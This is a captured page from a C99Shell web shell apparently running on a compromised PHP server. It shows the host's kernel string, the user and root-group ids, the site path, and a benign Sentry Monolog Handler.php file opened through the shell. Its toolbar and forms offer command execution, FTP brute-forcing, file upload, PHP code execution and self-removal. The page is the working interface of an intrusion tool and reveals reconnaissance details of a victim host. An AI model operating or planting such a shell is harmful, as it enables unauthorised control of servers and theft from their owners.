!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/sentry/sentry/src/Monolog/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Sentry\Monolog;

use 
Monolog\Handler\AbstractProcessingHandler;
use 
Monolog\Logger;
use 
Monolog\LogRecord;
use 
Sentry\Event;
use 
Sentry\EventHint;
use 
Sentry\State\HubInterface;
use 
Sentry\State\Scope;

/**
 * This Monolog handler logs every message to a Sentry's server using the given
 * hub instance.
 *
 * @author Stefano Arlandini <sarlandini@alice.it>
 */
final class Handler extends AbstractProcessingHandler
{
    use 
CompatibilityProcessingHandlerTrait;

    private const 
CONTEXT_EXCEPTION_KEY 'exception';

    
/**
     * @var HubInterface
     */
    
private $hub;

    
/**
     * @var bool
     */
    
private $fillExtraContext;

    
/**
     * {@inheritdoc}
     *
     * @param HubInterface $hub The hub to which errors are reported
     */
    
public function __construct(HubInterface $hub$level Logger::DEBUGbool $bubble truebool $fillExtraContext false)
    {
        
parent::__construct($level$bubble);

        
$this->hub $hub;
        
$this->fillExtraContext $fillExtraContext;
    }

    
/**
     * @param array<string, mixed>|LogRecord $record
     */
    
protected function doWrite($record): void
    
{
        
$event Event::createEvent();
        
$event->setLevel(self::getSeverityFromLevel($record['level']));
        
$event->setMessage($record['message']);
        
$event->setLogger(sprintf('monolog.%s'$record['channel']));

        
$hint = new EventHint();

        if (isset(
$record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) {
            
$hint->exception $record['context']['exception'];
        }

        
$this->hub->withScope(function (Scope $scope) use ($record$event$hint): void {
            
$scope->setExtra('monolog.channel'$record['channel']);
            
$scope->setExtra('monolog.level'$record['level_name']);

            
$monologContextData $this->getMonologContextData($record['context']);

            if ([] !== 
$monologContextData) {
                
$scope->setExtra('monolog.context'$monologContextData);
            }

            
$monologExtraData $this->getMonologExtraData($record['extra']);

            if ([] !== 
$monologExtraData) {
                
$scope->setExtra('monolog.extra'$monologExtraData);
            }

            
$this->hub->captureEvent($event$hint);
        });
    }

    
/**
     * @param mixed[] $context
     *
     * @return mixed[]
     */
    
private function getMonologContextData(array $context): array
    {
        if (!
$this->fillExtraContext) {
            return [];
        }

        
$contextData = [];

        foreach (
$context as $key => $value) {
            
// We skip the `exception` field because it goes in its own context
            
if (self::CONTEXT_EXCEPTION_KEY === $key) {
                continue;
            }

            
$contextData[$key] = $value;
        }

        return 
$contextData;
    }

    
/**
     * @param mixed[] $context
     *
     * @return mixed[]
     */
    
private function getMonologExtraData(array $context): array
    {
        if (!
$this->fillExtraContext) {
            return [];
        }

        
$extraData = [];

        foreach (
$context as $key => $value) {
            
$extraData[$key] = $value;
        }

        return 
$extraData;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--